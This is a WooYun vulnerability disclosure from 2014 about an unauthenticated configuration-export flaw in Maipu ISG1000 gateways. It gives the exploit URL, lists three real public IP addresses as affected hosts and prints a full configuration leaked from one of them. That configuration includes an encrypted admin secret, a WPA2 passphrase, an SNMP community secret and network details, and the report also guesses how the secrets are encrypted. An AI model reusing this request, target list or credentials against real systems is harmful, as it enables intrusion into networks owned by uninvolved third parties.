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缺陷编号：wooyun-2014-079924

漏洞标题：迈普ISG1000系列网关存在权限不当导致信息泄露

相关厂商：maipu.cn

漏洞作者： 路人甲

提交时间：2014-10-21 10:54

修复时间：2014-12-30 14:44

公开时间：2014-12-30 14:44

漏洞类型：非授权访问/权限绕过

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-21： 细节已通知厂商并且等待厂商处理中
2014-10-26： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-12-20： 细节向核心白帽子及相关领域专家公开
2014-12-30： 细节向普通白帽子公开
2015-01-09： 细节向实习白帽子公开
2014-12-30： 细节向公众公开

简要描述：

rt

详细说明：

根据官网介绍迈普ISG1000系列网关存在9种产品

http://www.maipu.cn/productmes.aspx?id=2266


由于权限问题，导致网关配置文件未授权下载，以下利用方式：

https://url/system/maintenance/export.php?type=sc


https://122.224.165.114/login.html
https://119.4.164.42/login.html
https://61.143.203.86/login.html

漏洞证明：

<poc>

1.jpg


!config
authorized-table admin
    authorized read all 
    authorized write all 
!
user administrator admin local secret Hg6MAD7MGTUEcoT9gHG+LhDc6E07QwG71SmiEodL/fQT/YirzsAURqDjk69469y authorized-table admin  
user administrator admin authorized-address first 0.0.0.0/0
!
timezone 57
!
!wlan global config
wlan-global
wlan country-code default
wlan channel auto
wlan max-power default
wlan radio-type 80211bgn
wlan enable
!
interface bvi1
 ip address 192.168.2.254/24
 allow access https
 allow access http
 allow access ping
 allow access ssh
 allow access telnet
!
interface eth0
 ip address 122.224.165.114/30
 allow access https
 allow access http
 allow access ping
 allow access ssh
 allow access telnet
!
interface eth1
 ip address 123.157.156.230/30
 allow access https
 allow access http
 allow access ping
 allow access ssh
 allow access telnet
!
interface eth2
 bridge-group 1
!
interface eth3
 bridge-group 1
!
interface eth4
 bridge-group 1
 allow access https
 allow access http
 allow access ping
 allow access ssh
 allow access telnet
!
interface eth5
 bridge-group 1
!
interface eth6
 bridge-group 1
!
interface eth7
 bridge-group 1
!
interface eth8
 bridge-group 1
!
interface eth9
 bridge-group 1
!
interface wlan0
 ssid maipu
 ssid hide disable
 beacon interval default
 client max-count 30
 client isolation disable
 dtim default
 security-mode wpa2
 wpa2 auth-method psk maipu123 encry-method aes
!
!address
!
address lan
 description neiwang
 ip subnet 192.168.2.0/24
!
!address-group
!
!service
!
!service-group
!
service-group 常用服务
!
service-group 常用服务
 member telnet
 member tcp
 member ping
 member dns
 member icmp
 member https
 member http
!
!schedule-day
!
!schedule-week
!
!schedule-month
!
!schedule-once
!
!user
!
!user-group
!
!
!user-policy
!
!
application-group p2p
 description p2p下载
application-group 流媒体
 description 流媒体软件
application-group 网络游戏
!
!
!
policy any any any any any any p2p always deny 1 
    application 流媒体
    application 网络游戏
policy any any any any 常用服务 any any always permit 2 
policy default-action permit 
!
snmp
 community secret 6NSjZ2FJfHqUtCqRXdechDETsW7nP4FFcq1ujxx1HotuCZoZGsn14R7gwFVplw1
 syslocation Beijing
!
dhcp
 share-net wlan0_dhcps subnet 192.168.0.1/24
 share-net wlan0_dhcps 192.168.0.1 192.168.0.250 0 days 8 hours 0 mins
 share-net wlan0_dhcps gateway 192.168.0.1
 share-net wlan0_dhcps dns 202.106.0.20 8.8.8.8
!
!
router ospf
!
!
ip route 0.0.0.0/0 122.224.165.113
ip route 0.0.0.0/0 123.157.156.229 100 weight 100
!
!user-param
!
!user-webauth
!
!user-portal-server
!
ip nat source eth0 lan any any interface 1 
ip nat source eth1 lan any any interface 2 
!
!
!ip session limit
!
!
!
audit_log database on
audit_log syslog on
!
ip defend port-scan interface eth0 threshold 1000
ip defend ip-sweep interface eth0 threshold 1000
ip defend port-scan interface eth1 threshold 1000
ip defend ip-sweep interface eth1 threshold 1000
ip defend port-scan interface bvi1 threshold 1000
ip defend ip-sweep interface bvi1 threshold 1000
!
qos-profile line 电信
 limit both
 maxbandwidth ingress 20000
 maxbandwidth egress 20000
 match interface eth0
!
qos-profile channel 限速 parent 电信
 bandwidth ingress 2000
 maxbandwidth ingress 20000
 bandwidth egress 2000
 maxbandwidth egress 20000
 perip ingress 2000
 perip egress 2000
 priority high
 match user any
 match application any
!
qos-profile channel def_电信 parent 电信
!
ha-config
!end


密文应该是base64(3des(md5(xxx),keys))

aaaaaaaaaaaaa2.jpg

</poc>

修复方案：

权限问题，你们懂的。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-30 14:44

厂商回复：

漏洞Rank：12 (WooYun评价)

最新状态：

暂无